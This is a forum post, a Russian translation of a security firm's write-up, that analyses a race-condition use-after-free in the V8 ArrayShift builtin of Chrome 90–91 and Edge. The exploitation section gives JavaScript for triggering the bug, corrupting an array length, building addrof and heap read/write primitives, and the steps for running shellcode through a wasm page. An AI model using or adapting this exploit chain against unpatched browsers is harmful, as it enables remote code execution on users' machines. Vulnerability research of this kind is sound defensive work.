• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Google Chrome V8 ArrayShift Race Condition и удаленное выполнение кода

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Обзор

В этом посте описывается метод использования состояния гонки в движке JavaScript V8 версии 9.1.269.33. Уязвимость затрагивает следующие версии Chrome и Edge:

Версии Google Chrome между 90.0.4430.0 и 91.0.4472.100.
Версии Microsoft Edge между 90.0.818.39 и 91.0.864.41.

Уязвимость возникает, когда одно из заданий TurboFan генерирует дескриптор объекта, который в то же время модифицируется встроенной функцией ArrayShift, что приводит к уязвимости использования после освобождения (UaF). В отличие от традиционных UaF, эта уязвимость возникает в памяти со сборкой мусора (UaF-gc). Ошибка кроется во встроенном ArrayShift, поскольку в нем отсутствуют необходимые проверки для предотвращения модификации объектов во время выполнения других заданий TurboFan.

В этом посте предполагается, что читатель знаком со всеми элементарными понятиями, необходимыми для понимания внутреннего устройства V8 и общей эксплуатации. Раздел ссылок содержит ссылки на блоги и документацию, в которых описываются необходимые концепции, такие как TurboFan, сборка мусора поколений и представление объектов JavaScript V8 в памяти.

Уязвимость

Когда встроенная ArrayShift функция вызывается для объекта массива через Array.prototype.shift(), длина и начальный адрес массива могут быть изменены, в то время как задание компиляции и оптимизации (TurboFan) на этапе встраивания выполняется одновременно. Когда TurboFan уменьшает доступ к элементу этого массива в виде array[0], функция ReduceElementLoadFromHeapConstant()выполняется в другом потоке. Доступ к этому элементу указывает на адрес перемещаемого массива через встроенную функцию ArrayShift. Если функция ReduceElementLoadFromHeapConstant() запускается непосредственно перед выполнением операции сдвига, это приводит к зависшему указателю. Это происходит потому, что Array.prototype.shift() «освобождает» объект, на который задание компиляции все еще «держит» ссылку. И «освобождение», и «удержание»” не являются на 100% точными терминами в этом контексте сборки мусора, но они служат для концептуального объяснения уязвимости. Позже мы более точно опишем эти действия как «создание объекта-заполнителя» и «создание обработчика» соответственно.

ReduceElementLoadFromHeapConstant()— это функция, которая вызывается, когда TurboFan пытается оптимизировать код, загружающий значение из кучи, например array[0]. Ниже приведен пример такого кода:

1685620092738.png


Запустив приведенный выше код в оболочке d8 с помощью команды, ./d8 --trace-turbo-reduction мы увидим, что onоптимизация JSNativeContextSpecialization, к которой принадлежит функция ReduceElementLoadFromHeapConstant(), срабатывает на узле № 27, принимая узел № 57 в качестве своего первого входа. Узел № 57 является узлом для массива arr:

$ ./d8 --trace-opt --trace-turbo-reduction /tmp/loadaddone.js
[TRUNCATED]
- Replacement of #13: JSLoadContext[0, 2, 1](3, 7) with #57: HeapConstant[0x234a0814848d ﹤JSArray[500]﹥] by reducer JSContextSpecialization
- Replacement of #27: JSLoadProperty[sloppy, FeedbackSource(#0)](57, 23, 4, 3, 28, 24, 22) with #64: CheckFloat64Hole[allow-return-hole, FeedbackSource(INVALID)](63, 63, 22) by reducer JSNativeContextSpecialization
[TRUNCATED]

Следовательно, выполнение метода Array.prototype.shift() на том же массиве arr, во время выполнения вышеупомянутого задания TurboFan может привести к срабатыванию уязвимости. Поскольку это состояние гонки, уязвимость может срабатывать ненадежно. Надежность зависит от ресурсов, доступных для использования двигателем V8.

Ниже приведен минимальный тестовый пример JavaScript, который запускает отладочную проверку отладочной сборки d8:

1685620112267.png


Цикл в [3] запускает компиляцию функции bug(),поскольку это «горячая» функция. Это запускает параллельное задание компиляции для функции, где [1] принудительно вызовет ReduceElementLoadFromHeapConstant(), чтобы уменьшить нагрузку на индекс 0 для постоянного значения. Пока TurboFan работает в другом потоке, основной поток выполняет операцию сдвига на том же массиве [2], модифицируя его. Однако этот минимизированный тестовый пример не запускает ничего, кроме утверждения (через DCHECK) в отладочных сборках. Хотя тестовый пример выполняется без сбоев в сборке выпуска, этого достаточно для понимания остальной части анализа.

Следующие пронумерованные шаги показывают порядок выполнения кода, который приводит к использованию после освобождения. Конечным результатом на шаге 8 является поток TurboFan, указывающий на освобожденный объект:

1685620122024.png


Чтобы получить висячий указатель, давайте выясним, как каждый поток содержит ссылку в коде V8.

Ссылка из треда TurboFan

После запуска задания TurboFan будет выполнен следующий код :

1685620138736.png


Поскольку это сокращение выполняется через ReducePropertyAccess() в [1] выполняется начальная проверка, чтобы узнать, действительно ли доступ, который нужно сократить, имеет форму доступа к индексу массива и является ли получатель объектом JavaScript. После проверки метод GetOwnConstantElement() вызывается для объекта-приемника по адресу [2] для извлечения постоянного элемента из вычисляемого индекса.

1685620163353.png


Код в [3] проверяет, должен ли текущий вызывающий объект обращаться к куче. Проверка проходит, так как редукция предназначена для загрузки элемента из кучи. Флаг FLAG_turbo_direct_heap_access включен по умолчанию. Затем в [4] метод elements() вызывается с намерением получить ссылку на элементы объекта-приемника (массива). Метод elements() показан ниже:

1685620171496.png


Далее по стеку вызовов elements() будет выполняться вызов CanonicalPersistentHandle() со ссылкой на элементы объекта-получателя, обозначенные object()->elements() [5]. Этот вызов метода elements() отличается от предыдущего. Этот напрямую обращается к куче и возвращает указатель в куче V8. Он обращается к тому же объекту указателя в памяти, что и встроенный ArrayShift.

Наконец, CanonicalPersistentHandle() создает ссылку Handle. Дескрипторы в V8 — это объекты, которые доступны для среды JavaScript. Наиболее примечательным свойством является то, что они отслеживаются сборщиком мусора.

1685620178562.png


Созданный Handleв [6] теперь доступен для среды JavaScript, и ссылка сохраняется, пока выполняется задание компиляции. В этот момент, если какие-либо другие части процесса изменяют ссылку, например, принудительно освобождают ее, задание TurboFan будет удерживать висячий указатель. Эксплуатация уязвимости зависит от этого поведения. В частности, знание точного момента запуска задания TurboFan позволяет нам держать поддельный указатель в пределах досягаемости.

Ссылка из основного потока (встроенный ArrayShift)

Как только код, описанный в предыдущем разделе, запускается и проходит точку, где Handle к массиву был создан, выполнение функции ArrayShift JavaScript в том же массиве приводит к срабатыванию уязвимости. Выполняется следующий код :

1

В [1] объект получателя ( arr в исходном тестовом примере JavaScript) присваивается переменной receiver через макросASSIGN_RETURN_FAILURE_ON_EXCEPTION. Затем он использует эту переменную receiver [2] для создания нового типа Handle JSArray, чтобы вызвать Shift()для него функцию.

Концептуально операция сдвига над массивом выполняет следующие модификации массива в куче V8:

1685620190565.png


В памяти меняются две вещи: указатель, обозначающий начало массива, увеличивается, а первый элемент перезаписывается объектом filler(который мы назвали «освобожденным»). Это особый тип объекта filler, описанный ниже. Имея в виду эту картину, мы можем продолжить анализ с четким представлением о том, что происходит в коде.

Перед любыми манипуляциями с объектом массива выполняются следующие вызовы функций, передавая массив (теперь Handle<JSArray>тип) в качестве аргумента:

1685620199806.png


Shift() [3] просто вызывает ShiftImpl(). Затем ShiftImpl() [4] вызывает RemoveElement(), передавая index в качестве второго аргумента внутри переменной AT_START. Это изображает операцию сдвига, напоминая нам, что она удаляет первый объект (позиция индекса 0) массива.

Внутри функции RemoveElement() elements()функция из src/objects/js-objects-inl.h файла вызывается снова для того же объекта receiver, а Handle создается и сохраняется в переменной backing_store. В [5] мы видим, как создается ссылка на тот же объект, что и в предыдущем задании TurboFan.

Наконец, делается вызов MoveElements()[6] для выполнения операции сдвига.
1685620241324.png


В MoveElements() переменные dst_index и src_index содержат значения 0 и 1соответственно, поскольку операция сдвига сдвигает все элементы массива из индекса 1 и размещает их, начиная с индекса 0, эффективно удаляя позицию 0 массива. Он начинается с приведения backing_store к объекту BackingStore и сохранения ее в переменной dst_elms [7]. Это делается для выполнения функции CanMoveObjectStart(), которая проверяет, можно ли перемещать массив в памяти [8].

Эта функция проверки — это место, где находится уязвимость. Функция не проверяет, запущены ли другие задания компиляции. Если такая проверка пройдена, dst_elms будет передана (ссылка на элементы) целевого массива, LeftTrimFixedArray(), на который будут выполняться операции по модификации.

1685620255988.png


В уязвимой версии V8 мы можем видеть, что, хотя CanMoveObjectStart() функция в [10] проверяет наличие таких вещей, как профилировщик, содержащий ссылки на объект или объект, являющийся большим объектом, функция не содержит никаких проверок параллельных заданий компиляции. Поэтому все проверки пройдут и функция вернет True, что приведет к вызову функции LeftTrimFixedArray() с dst_elms первым аргументом.

// File: src/heap/heap.cc

FixedArrayBase Heap::LeftTrimFixedArray(FixedArrayBase object,
int elements_to_trim) {

[TRUNCATED]

const int element_size = object.IsFixedArray() ? kTaggedSize : kDoubleSize;
const int bytes_to_trim = elements_to_trim * element_size;

[TRUNCATED]

[11]

// Calculate location of new array start.
Address old_start = object.address();
Address new_start = old_start + bytes_to_trim;

[TRUNCATED]

[12]

CreateFillerObjectAt(old_start, bytes_to_trim,
MayContainRecordedSlots(object)
? ClearRecordedSlots::kYes
: ClearRecordedSlots::kNo);

[TRUNCATED]

#ifdef ENABLE_SLOW_DCHECKS
if (FLAG_enable_slow_asserts) {
// Make sure the stack or other roots (e.g., Handles) don't contain pointers
// to the original FixedArray (which is now the filler object).
SafepointScope scope(this);
LeftTrimmerVerifierRootVisitor root_visitor(object);
ReadOnlyRoots(this).Iterate(&root_visitor);

[13]

IterateRoots(&root_visitor, {});
}
#endif // ENABLE_SLOW_DCHECKS

[TRUNCATED]
}

В [11] адрес object, заданный в качестве первого аргумента функции, хранится в переменной old_start. Затем адрес используется для создания Fillerобъекта [12]. Заполнители в сборке мусора — это особый тип объекта, который служит для обозначения свободного пространства, фактически не освобождая его, но с намерением гарантировать, что существует непрерывное пространство объектов для цикла сборки мусора для итерации. В любом случае объект Filler обозначает свободное пространство, которое впоследствии может быть занято другими объектами. Поэтому, поскольку задание компиляции также имеет ссылку на адрес этого объекта, задание оптимизации теперь указывает на объектFiller , который после цикла сборки мусора будет висячим указателем.

Для завершения маркер в [13] показывает место, где отладочные сборки будут аварийными. Функция принимает в качестве аргумента переменную IterateRoots(, созданную из исходного объекта dst_elms , которая теперь является Filler и проверяет, есть ли в V8 какая-либо другая часть, содержащая ссылку на нее. В случае, если есть запущенное задание компиляции, содержащее указанную ссылку, эта функция приведет к сбою процесса при сборке отладки.dst_elmsFiller,

Эксплуатация

Эксплуатация этой уязвимости включает следующие шаги:

- Запуск уязвимости путем создания массива barr и принудительного задания компиляции одновременно с вызовом ArrayShift встроенной функции.
- Запуск цикла сборки мусора, чтобы освободить освобожденную память с объектами, подобными массиву, чтобы можно было повредить их длину.
- Поиск поврежденного массива и объекта-маркера для создания примитивов addrof, read и write.
- Создание и инициализация экземпляра wasm с экспортированной функцией main, а затем перезапись шелл-кода экспортированной функции.
- Наконец, вызов экспортированной функции main, запуск ранее перезаписанного шеллкода.

После восстановления памяти необходимо найти определенные маркеры в памяти, поскольку объекты, которые освобождают память, могут каждый раз приземляться с разными смещениями. Из-за этого, если эксплойт не воспроизводится, его необходимо перезапустить, чтобы либо выиграть гонку, либо правильно найти объекты в освобожденном пространстве. Возможными причинами сбоя являются потеря состояния гонки или спрей не может разместить объекты там, где они необходимы.

Запуск уязвимости

Опять же, давайте начнем с тестового случая, который запускает утверждение в отладочных сборках. Следующий код JavaScript запускает уязвимость, приводя к сбою движка при отладочных сборках с помощью инструкции DCHECK_NE :

function trigger() {

[1]

let buggy_array_size = 120;
let PUSH_OBJ = [324];
let barr = [1.1];
for (let i = 0; i ﹤ buggy_array_size; i++) barr.push(PUSH_OBJ);

function dangling_reference() {

[2]

barr.shift();
for (let i = 0; i ﹤ 10000; i++) { console.i += 1; }
let a = barr[0];

[3]

function gcing() {
const v15 = new Uint8ClampedArray(buggy_array_size*0x400000);
}
let gcit = gcing();
for (let v19 = 0; v19 ﹤ 500; v19++) {}
}

[4]

for (let i = 0; i ﹤ 4; i++) {
dangling_reference();
}
}

trigger();

Активация уязвимости включает следующие шаги:

В [1] массив barr создается путем помещения PUSH_OBJв него объектов. Они служат маркером на более поздних стадиях.
В [2] ошибка возникает при выполнении сдвига массива barr. Цикл for запускает компиляцию раньше, и значение из массива загружается, чтобы вызвать правильное снижение оптимизации.
В [3] gcing() функция отвечает за запуск сборки мусора после каждой итерации. При срабатывании уязвимости ссылка на barr освобождается. Затем в этой точке удерживается висячий указатель.
В [4] необходимо остановить выполнение функции, подлежащей оптимизации, именно на той итерации, на которой она оптимизируется. Параллельная ссылка на Filler объект получается только на этой итерации.

Восстановление памяти и повреждение длины массива

Следующий отрывок кода объясняет, как освобожденная память освобождается нужными массивами в полном эксплоите. Цель следующего кода состоит в том, чтобы элементы указывали barr на объекты tmpfarr и tmpMarkerArrayв памяти, чтобы длина могла быть повреждена для окончательного построения примитивов эксплойта.

1685620299551.png


На изображении выше показано, как элементы массива barr изменяются на протяжении всего эксплойта. Мы можем видеть, как в последнем состоянии элементы barr указывают на находящиеся в памяти объекты JSObject tmpfarr и tmpArrayMarker, что позволяет искажать их длину с помощью таких операторов, как barr[2] = 0xffff. Имейте в виду, что изображения не являются исчерпывающими. Объекты JSObject, представленные в памяти, содержат поля, такие как Map или array length, которые не показаны на изображении выше. Обратитесь к разделу «Ссылки» для получения подробной информации о полных структурах.

let size_to_search = 0x8c;
let next_size_to_search = size_to_search+0x60;
let arr_search = [];
let tmparr = new Array(Math.floor(size_to_search)).fill(9.9);
let tmpMarkerArray = new Array(next_size_to_search).fill({
a: placeholder_obj, b: placeholder_obj, notamarker: 0x12341234, floatprop: 9.9
});
let tmpfarr= [...tmparr];
let new_corrupted_length = 0xffff;

for (let v21 = 0; v21 ﹤ 10000; v21++) {

[1]

arr_search.push([...tmpMarkerArray]);
arr_search.push([...tmpfarr]);

[2]

if (barr[0] != PUSH_OBJ) {
for (let i = 0; i ﹤ 100; i++) {

[3]

if (barr == size_to_search) {

[4]

if (barr[i+12] != next_size_to_search) continue;

[5]

barr = new_corrupted_length;
break;
}
}
break;
}
}

for (let i = 0; i ﹤ arr_search.length; i++) {

[6]

if (arr_search?.length == new_corrupted_length) {
return [arr_search, {
a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337
}];
}
}

Далее мы опишем приведенный выше код, который изменяет barrэлемент , как показано на предыдущем рисунке.

- В цикле [1] несколько массивов помещаются в другой массив с целью освобождения ранее освобожденной памяти. Эти действия запускают сборку мусора, поэтому при освобождении памяти объект перемещается и перезаписывается нужными массивами ( tmpfarrи tmpMarkerArray).
- Проверка в [2] показывает, что массив больше не содержит ни одного из введенных начальных значений. Это означает, что уязвимость сработала корректно и barr теперь указывает на какую-то другую часть памяти.
- Целью проверки в [3] является определение элемента массива, содержащего длину массива tmpfarr.
- Проверка в [4] подтверждает, что соседний объект имеет длину tmpMarkerArray.
- Затем длина tmpfarr переписывается в [5] большим значением, чтобы его можно было использовать для создания примитивов эксплойта.
Наконец, в [6] поиск поврежденного объекта массива выполняется путем запроса новой поврежденной длины через length свойство JavaScript. Следует отметить, что необязательная цепочка ?. Это необходимо здесь, потому что arr_search может быть неопределенным значением без свойства length, нарушающим выполнение JavaScript. После обнаружения поврежденный массив возвращается.

Создание и размещение объекта маркера

Как только длина массива была повреждена, он позволяет читать и записывать за пределами кучи V8. Применяются определенные ограничения, так как слишком большое чтение может привести к сбою эксплойта. Поэтому необходим более чистый способ чтения-записи в куче V8 и реализации примитивов эксплойта, таких как addrof.

[1]

for (let i = size_to_search; i ﹤ new_corrupted_length/2; i++) {

[2]

for (let spray = 0; spray ﹤ 50; spray++) {
let local_findme = {
a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337, findyou:0x12341234
};
objarr.push(local_findme);
function gcing() {
const v15 = new String("Hello, GC!");
}
gcing();
}
if (marker_idx != -1) break;

[3]

if (f2string(cor_farr).includes("22222222")){
print(`Marker at ${i} =﹥ ${f2string(cor_farr)}`);
let aux_ab = new ArrayBuffer(8);
let aux_i32_arr = new Uint32Array(aux_ab);
let aux_f64_arr = new Float64Array(aux_ab);
aux_f64_arr[0] = cor_farr;

[4]

if (aux_i32_arr[0].toString(16) == "22222222") {
aux_i32_arr[0] = 0x44444444;
} else {
aux_i32_arr[1] = 0x44444444;
}
cor_farr = aux_f64_arr[0];

[5]

for (let j = 0; j ﹤ objarr.length; j++) {
if (objarr[j].findme != 0x11111111) {
leak_obj = objarr[j];
if (leak_obj.findme != 0x11111111) {
print(`Found right marker at ${i}`);
marker_idx = i;
break;
}
}
}
break;
}
}

- Цикл for [1] проходит по массиву с поврежденной длиной cor_farr. Обратите внимание, что это одна из частей потенциального сбоя эксплойта. Слишком глубокое перемещение в поврежденном массиве, вероятно, приведет к сбою из-за чтения за пределами страницы памяти. Таким образом, значение, которое new_corrupted_length/2 было выбрано во время разработки, было результатом нескольких тестов.

- Прежде чем начать обход поврежденного массива, в [2] делается попытка минимального распыления памяти, чтобы нужный объект local_findme находился прямо в памяти, на которую указывает cor_farr. Кроме того, запускается сборка мусора, чтобы инициировать уплотнение только что распыленных объектов с намерением сделать их смежными с элементами cor_farr.
- В [3] f2string преобразует значение с плавающей запятой cor_farrв строковое значение. Затем это сверяется со значением, 22222222 потому что V8 представляет небольшие целые числа в памяти с последним битом, установленным на 0, путем сдвига влево фактического значения на единицу. Итак, 0x11111111 << 1 == 0x22222222 каково значение памяти свойства small integer local_findme.findme. Как только значение маркера найдено, создается несколько «представлений массива» (типизированных массивов), чтобы изменить часть, 0x22222222 а не остальную часть значения с плавающей запятой. Это делается путем создания 32-битного представления aux_i32_arrи 64-битного aux_f64_arr представления в одном и том же буфере aux_ab.
- В [4] выполняется проверка, чтобы узнать, находится ли маркер в старших или младших 32-битах. После определения значение изменяется на 0x44444444с помощью вспомогательных представлений массива.

- Наконец, в [5] массив objarr просматривается, чтобы найти измененный маркер, и индекс marker_idx сохраняется. Этот индекс и leak_obj используются для создания примитивов эксплойта в куче V8.

Примитивы экслпоитов

Следующие разделы являются общими для большинства эксплойтов V8 и легко доступны из других статей. Мы описываем эти эксплойт-примитивы, чтобы объяснить предостережение, связанное с тем фактом, что спрей мог привести к невыровнению объектов в памяти.

1685620337379.png


Приведенный выше код представляет примитив addro и состоит из следующих шагов:

- Во-первых, в [1] целевой объект для утечки помещается в свойства aи bсоздаются leak_objвспомогательные представления массива для чтения из поврежденного массива cor_farr.
- В [2] свойства считываются из поврежденного массива путем вычитания единицы из marker_idx. Это связано с наличием свойств leak_obj в памяти рядом друг с другом; поэтому a и b предшествуют свойству findme.
- Проверяя верхние и нижние 32 бита считанного значения с плавающей запятой в [3], можно определить, выровнены ли значения a и b. Если это не так, это означает, что только старшие 32 бита значения с плавающей запятой содержат адрес целевого объекта. Назначив его обратно индексу 0 aux_i32_arr, функция упрощается, и можно просто вернуть просочившееся значение, всегда читая из одного и того же индекса.

Чтение и запись в куче V8

В зависимости от архитектуры и от того, включено ли сжатие указателя (по умолчанию для 64-разрядных архитектур), будут ситуации, когда необходимо прочитать либо только 32-разрядный помеченный указатель (например, объект), либо полный 64-разрядный адрес. Последний случай применим только к 64-разрядным архитектурам из-за необходимости манипулирования резервным хранилищем типизированного массива, поскольку это потребуется для создания произвольного примитива чтения и записи за пределами кучи V8.

Ниже мы представляем только 64-битную архитектуру чтения/записи. Их 32-битные аналоги делают то же самое, но с ограничением на чтение младших или старших 32-битных значений просочившегося 64-битного значения с плавающей запятой.

function v8h_read64(v8h_addr_as_bigint) {
let ret_value = null;
let restore_value = null;
let aux_ab = new ArrayBuffer(8);
let aux_i32_arr = new Uint32Array(aux_ab);
let aux_f64_arr = new Float64Array(aux_ab);
let aux_bint_arr = new BigUint64Array(aux_ab);

[1]

aux_f64_arr[0] = cor_farr[marker_idx];
let high = aux_i32_arr[0] == 0x44444444;

[2]

if (high) {
restore_value = aux_f64_arr[0];
aux_i32_arr[1] = Number(v8h_addr_as_bigint-4n);
cor_farr[marker_idx] = aux_f64_arr[0];
} else {
aux_f64_arr[0] = cor_farr[marker_idx+1];
restore_value = aux_f64_arr[0];
aux_i32_arr[0] = Number(v8h_addr_as_bigint-4n);
cor_farr[marker_idx+1] = aux_f64_arr[0];
}

[3]

aux_f64_arr[0] = leak_obj.floatprop;
ret_value = aux_bint_arr[0];
cor_farr[high ? marker_idx : marker_idx+1] = restore_value;
return ret_value;
}

Чтение 64-битной архитектуры состоит из следующих шагов:

- В [1] проверка на выравнивание выполняется через marker_idx: если маркер находится в младшем 32-битном значении через aux_i32_arr[0], это означает, что свойство leak_obj.floatprop находится в верхнем 32-битном ( aux_i32_arr[1]).
- После того, как выравнивание было определено, затем в [2] адрес свойства перезаписывается leak_obj.floatpropжелаемым адресом, предоставленным аргументом v8h_addr_as_bigint. Кроме того, из целевого адреса вычитается 4 байта, потому что V8 добавит 4 с целью пропустить указатель карты для чтения значения с плавающей запятой.
В [3] указывает leak_obj.floatprop на целевой адрес в куче V8. Прочитав его через свойство, можно получить 64-битные значения в виде чисел с плавающей запятой и выполнить преобразование с помощью вспомогательных массивов.

Эту функцию также можно использовать для записи 64-битных значений, добавляя значение для записи в качестве дополнительного аргумента и вместо чтения свойства записывая в него.

1685620362117.png


Как упоминалось в начале этого раздела, единственные изменения, необходимые для того, чтобы эти примитивы работали на 32-разрядных архитектурах, заключаются в использовании предоставленных вспомогательных представлений 32-разрядных массивов, таких как запись или чтение только в старших или младших 32-разрядных aux_i32_arr, как показано в следующем фрагменте:

1685620370085.png


Использование эксплойт-примитивов для запуска шеллкода

Следующие шаги для запуска пользовательского шелл-кода на 64-битных архитектурах общеизвестны, но они кратко изложены здесь для полноты картины:

- Создайте модуль wasm, который экспортирует функцию (например: main).
- Создайте объект экземпляра wasmWebAssembly.Instance.
- Получите адрес экземпляра wasm, используя примитив addrof
- Считайте 64-битный указатель в куче V8 в экземпляре wasm плюс 0x68. Это приведет к получению указателя на страницу rwx, на которую мы можем записать наш шелл-код.
- Теперь создайте Typed Array типа Uint8Array.
- Получите его адрес с помощью функции addrof.
- Запишите полученный ранее указатель на страницу rwx в резервное хранилище файла Uint8Array, расположенное в 0x28 байтах от Uint8Arrayадреса, полученного на шаге 6.
Запишите желаемый шеллкод по одному Uint8Array байту за раз. Это будет эффективно писать на странице rwx.
Наконец, вызовите функцию main, экспортированную на шаге 1.

Заключение

Эта уязвимость стала возможной благодаря коммиту от февраля 2021 года, в котором было введено прямое чтение кучи для JSArrayRef , позволяющее извлекать файл handle. Более того, эта ошибка осталась бы незамеченной, если бы не еще один коммит в 2018 году, в котором были введены меры по сбою при сохранении двойных ссылок во время работы с массивами shift. Эта уязвимость была исправлена в июне 2021 года путем отключения обрезки слева при выполнении параллельных заданий компиляции.

Коммиты и их временная шкала показывают, что разработчикам нелегко написать безопасный код за один раз, особенно в сложных средах, таких как механизмы JavaScript, которые также включают полноценные оптимизирующие компиляторы, работающие одновременно.

Надеемся, вам понравилось это читать. Если вы жаждете большего, не забудьте проверить другие наши сообщения в блоге.

Ссылки -

Turbofan definition – https://web.archive.org/web/20210325140355/https://v8.dev/blog/turbofan-jit
Orinoco – GC – https://web.archive.org/web/20210421220936/https://v8.dev/blog/trash-talk
V8 Object representation – http://web.archive.org/web/20210203161224/https://www.jayconrod.com/posts/52/a-tour-of-v8–object-representation
EcmaScript – https://web.archive.org/web/2020112...a-international.org/ecma-262/5.1/ECMA-262.pdf
TypedArrays in JS – https://web.archive.org/web/2020111...avaScript/Reference/Global_Objects/TypedArray
ArrayShift – https://web.archive.org/web/2021052...vaScript/Reference/Global_Objects/Array/shift
ArrayPush – https://web.archive.org/web/2021052...avaScript/Reference/Global_Objects/Array/push
Elements Kind – https://web.archive.org/web/2021031...8cc39e9deef5:src/objects/elements-kind.h;l=31
https://web.archive.org/web/20210321104253/https://v8.dev/blog/elements-kinds
Fast properties – https://web.archive.org/web/20210326133458/https://v8.dev/blog/fast-properties
Pointer Compression in V8 – https://web.archive.org/web/20230512101949/https://v8.dev/blog/pointer-compression


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://blog.exodusintel.com/2023/0...ayshift-race-condition-remote-code-execution/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх